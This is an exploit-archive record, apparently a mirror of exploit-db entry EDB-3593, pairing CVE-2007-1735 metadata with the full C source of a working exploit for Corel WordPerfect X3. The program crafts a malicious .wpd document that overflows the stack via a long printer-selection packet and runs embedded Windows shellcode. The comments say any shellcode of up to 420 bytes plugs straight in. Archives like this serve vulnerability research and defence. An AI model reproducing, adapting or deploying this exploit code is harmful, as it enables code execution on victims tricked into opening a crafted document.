{"exploit":{"id":"EDB-3593","name":"Corel WordPerfect X3 13.0.0.565 - '.prs' Local Buffer Overflow","description":"Corel WordPerfect X3 13.0.0.565 - '.prs' Local Buffer Overflow","cves":["CVE-2007-1735"],"author":"Jonathan So","published":"2007-03-28","platform":"windows","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3593","path":"exploits/windows/local/3593.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3593.c","vulnerabilities":[{"id":"CVE-2007-1735","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in Corel WordPerfect Office X3 (13.0.0.565) allows user-assisted remote attackers to execute arbitrary code via a long printer selection (PRS) name in a Wordperfect document.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-1735","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-1735"},"updatedAt":"2024-08-07T13:06:26.170Z","retrievedAt":"2026-11-27T04:09:49.476Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3593.png?v=2","url":"https://exploitbin.com/exploits/EDB-3593","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3593/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3593/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/**\n * wp13exp.c - Wordperfect X3 remote exploit\n *\n * Proof of concept exploit for a stack based overflow in\n * Corel Wordperfext X3.  The vulnerability can be exploited\n * by tricking a user into opening a specially crafted document.\n *\n * Usage:\n *\n * c:\\win13exp evildoc.wpd\n *\n * Original advisory: http://www.nop-art.net/advisories/wpwin13.txt\n * Author: Jonathan So [ jonny [ @ ] nop-art.net ]\n */\n\n#define WINDOWS\n//#define LINUX\n\n#ifdef WINDOWS\n\t#include <windows.h>\n#endif\n#include <stdio.h>\n\n// Tested for Wordperfect X3 (13.0.0.565) on XP SP2\n#define RET_ADDR 0x0012DF50\n\n// Don't change these\n#define PKT_INDEX_SIZE 14\n#define HEADER_SIZE 512\n#define PRINTSEL_PKT_SIZE 530\n#define PRINTSEL_FAKE_SIZE 713\n#define FONTDESC_PKT_SIZE 420\n\n// WordPerfect file header\nstruct wp_header {\n\tunsigned char file_id[4];\n\tunsigned long doc_ptr;\n\tunsigned char product_type;\n\tunsigned char document_type;\n\tunsigned char major_version;\n\tunsigned char minor_version;\n\tunsigned short encryption;\n\tunsigned short index_ptr;\n\tunsigned char reserved[4];\n\tunsigned long file_size;\n\tunsigned char extended_header[488];\n};\n\n// Index for data packet\nstruct packet_index {\n\tunsigned char flags;\n\tunsigned char packet_type;\n\tunsigned short use_count;\n\tunsigned short hidden_count;\n\tunsigned long size;\n\tunsigned long data_ptr;\n};\n\n// This WinExec shellcode locates kernel32.dll using PEB method before\n// calling WinExec (using the string at the end of the shellcode) and\n// finally calling ExitProcess.  Should work for XP/2000/2003/NT but\n// any shellcode should plug straight in, up to 420 bytes and it doesn't\n// matter if it contain nulls.\nchar shellcode[] =\n\t\"\\xb8\\x7e\\xd8\\xe2\\x73\\x50\\xe8\\x21\\x00\\x00\\x00\\x83\\xc4\\x04\\x50\\xb8\\x98\\xfe\\x8a\\x0e\\x50\\xe8\\x12\\x00\\x00\\x00\"\n\t\"\\x83\\xc4\\x04\\x50\\xeb\\x62\\x5e\\x58\\x6a\\x00\\x56\\xff\\xd0\\x58\\x6a\\x00\\xff\\xd0\\x33\\xc0\\x64\\xa1\\x30\\x00\\x00\\x00\"\n\t\"\\x8b\\x40\\x0c\\x8b\\x70\\x1c\\xad\\x8b\\x68\\x08\\x8b\\x45\\x3c\\x8b\\x54\\x05\\x78\\x03\\xd5\\x8b\\x5a\\x20\\x8b\\x4a\\x18\\x03\"\n\t\"\\xdd\\xe3\\x30\\x49\\x8b\\x34\\x8b\\x03\\xf5\\x33\\xff\\x33\\xc0\\xfc\\xac\\x84\\xc0\\x74\\x07\\xc1\\xcf\\x0d\\x03\\xf8\\xeb\\xf4\"\n\t\"\\x3b\\x7c\\x24\\x04\\x75\\xe1\\x8b\\x5a\\x24\\x03\\xdd\\x66\\x8b\\x0c\\x4b\\x8b\\x5a\\x1c\\x03\\xdd\\x8b\\x04\\x8b\\x03\\xc5\\xc3\"\n\t\"\\xe8\\x99\\xff\\xff\\xff\" \"cmd /c echo nop-art>c:\\\\test.txt && notepad c:\\\\test.txt\\x00\";\n\nchar fill_string[] = \"nop-art.net\";\n\nvoid construct_header(struct wp_header* header) {\n\tint i;\n\n\t// These are constant for all Wordperfect documents\n\theader->file_id[0] = -1;\n\theader->file_id[1] = 'W';\n\theader->file_id[2] = 'P';\n\theader->file_id[3] = 'C';\n\n\t// Document header values\n\theader->doc_ptr = 0;\n\theader->product_type = 0x01;\n\theader->document_type = 0x0A;\n\theader->major_version = 0x02;\n\theader->minor_version = 0x01;\n\theader->encryption = 0x00;\n\theader->index_ptr = 0x0200;\n\n\theader->reserved[0] = 0x05;\n\tfor (i=1;i<4;i++) {\n\t\theader->reserved[i] = 0x00;\n\t}\n\n\theader->file_size = 0;\n\n\tfor (i=0;i<488;i++) {\n\t\theader->extended_header[i] = 0x00;\n\t}\n}\n\nvoid construct_document(FILE *fp, long ret_addr)\n{\n\t// Index packets\n\tstruct packet_index index[3] = {\n\t\t{ 0x02, 0x00, 0x03, 0x00, 0x00, 0x00 },\n\t\t{ 0x00, 0x55, 0x01, 0x00, 0x00, 0x00 },\n\t\t{ 0x08, 0x23, 0x01, 0x00, 0x00, 0x00 }\n\t};\n\n\tstruct wp_header header;\n\n\tunsigned char fontdesc_packet[FONTDESC_PKT_SIZE];\n\tunsigned char printsel_packet[PRINTSEL_PKT_SIZE];\n\tchar *char_ptr;\n\tint i;\n\tint offset;\n\n\tconstruct_header(&header);\n\n\t// Fill the font selection packet with NOP's\n\tfor (i=0;i<FONTDESC_PKT_SIZE;i++) {\n\t\tfontdesc_packet[i] = 0x90;\n\t}\n\n\t// Set size and offset for index packets\n\tindex[1].size = FONTDESC_PKT_SIZE;\n\tindex[2].size = 713;\n\tindex[2].data_ptr = HEADER_SIZE + (PKT_INDEX_SIZE * 3);\n\tindex[1].data_ptr = index[2].data_ptr + PRINTSEL_PKT_SIZE;\n\n\t// Copy shellcode into the end of the font descriptor packet\n\toffset = index[1].size - sizeof(shellcode);\n\tfor (i=0; i < sizeof(shellcode); i++) {\n\t\tfontdesc_packet[i + offset] = shellcode[i];\n\t}\n\n\t// Fill the printer selection packet with some data\n\tfor (i=0; i < PRINTSEL_PKT_SIZE ; i++) {\n\t\tprintsel_packet[i] = fill_string[i % sizeof(fill_string)];\n\t}\n\n\t// Add the return address on the end. Copied from a unicode buffer to non-unicode\n\tchar_ptr = (char*) &ret_addr;\n\tfor (i=8;i>0;i-=2) {\n\t\tprintsel_packet[PRINTSEL_PKT_SIZE-i] = *char_ptr;\n\t\tprintsel_packet[PRINTSEL_PKT_SIZE-(i-1)] = 0x00;\n\t\tchar_ptr++;\n\t}\n\n\t// Set total file size and pointer to document body\n\theader.file_size = HEADER_SIZE + (PKT_INDEX_SIZE * 3) + PRINTSEL_PKT_SIZE + FONTDESC_PKT_SIZE;\n\theader.doc_ptr = header.file_size;\n\n\t// Now write all the data to file. Some compilers align structure members\n\t// on different size boundaries so we have to write them all separately\n\tfwrite((void*) &header.file_id, 4, 1, fp);\n\tfwrite((void*) &header.doc_ptr, 4, 1, fp);\n\tfwrite((void*) &header.product_type, 1, 1, fp);\n\tfwrite((void*) &header.document_type, 1, 1, fp);\n\tfwrite((void*) &header.major_version, 1, 1, fp);\n\tfwrite((void*) &header.minor_version, 1, 1, fp);\n\tfwrite((void*) &header.encryption, 2, 1, fp);\n\tfwrite((void*) &header.index_ptr, 2, 1, fp);\n\tfwrite((void*) &header.reserved, 4, 1, fp);\n\tfwrite((void*) &header.file_size, 4, 1, fp);\n\tfwrite((void*) &header.extended_header, 488, 1, fp);\n\n\tfwrite((void*) &index[0].flags, 1, 1, fp);\n\tfwrite((void*) &index[0].packet_type, 1, 1, fp);\n\tfwrite((void*) &index[0].use_count, 2, 1, fp);\n\tfwrite((void*) &index[0].hidden_count, 2, 1, fp);\n\tfwrite((void*) &index[0].size, 4, 1, fp);\n\tfwrite((void*) &index[0].data_ptr, 4, 1, fp);\n\n\tfwrite((void*) &index[1].flags, 1, 1, fp);\n\tfwrite((void*) &index[1].packet_type, 1, 1, fp);\n\tfwrite((void*) &index[1].use_count, 2, 1, fp);\n\tfwrite((void*) &index[1].hidden_count, 2, 1, fp);\n\tfwrite((void*) &index[1].size, 4, 1, fp);\n\tfwrite((void*) &index[1].data_ptr, 4, 1, fp);\n\n\tfwrite((void*) &index[2].flags, 1, 1, fp);\n\tfwrite((void*) &index[2].packet_type, 1, 1, fp);\n\tfwrite((void*) &index[2].use_count, 2, 1, fp);\n\tfwrite((void*) &index[2].hidden_count, 2, 1, fp);\n\tfwrite((void*) &index[2].size, 4, 1, fp);\n\tfwrite((void*) &index[2].data_ptr, 4, 1, fp);\n\n\tfwrite(printsel_packet, PRINTSEL_PKT_SIZE, 1, fp);\n\tfwrite(fontdesc_packet, FONTDESC_PKT_SIZE, 1, fp);\n\n\tfclose(fp);\n}\n\nint main (int argc, char **argv)\n{\n        FILE *fp;\n        unsigned long ret_addr = RET_ADDR;\n\n        if (argc < 2) {\n                printf(\"Usage: %s <filename> [-r 0xdeadbeef]\\n\", argv[0]);\n                printf(\" -r <retaddr>         (0x%x default)\\n\", ret_addr);\n                return 0;\n        }\n\n        if (argc >= 4) {\n                if (memcmp(argv[2], \"-r\", strlen(argv[2]))==0) {\n                        ret_addr = strtoul(argv[3], NULL, 0);\n                }\n        }\n\n        if ((fp = fopen(argv[1], \"wb\")) == NULL) {\n                printf(\"Error creating file: %s\\n\", argv[1]);\n                return -1;\n        }\n\n        construct_document(fp, ret_addr);\n\n        printf(\"Created document %s with return address [0x%x]\\n\", argv[1], ret_addr);\n\n        return 0;\n}\n\n// milw0rm.com [2007-03-28]","sha256":"e9a90523f4debf54f2c6af3db8f1a2dfcb1328d1e022e44ec34cf9ea944bccaa","bytes":6974,"fetchedAt":"2026-11-27T04:09:46.276Z","encoding":"utf-8 (display only; download retains original bytes)"}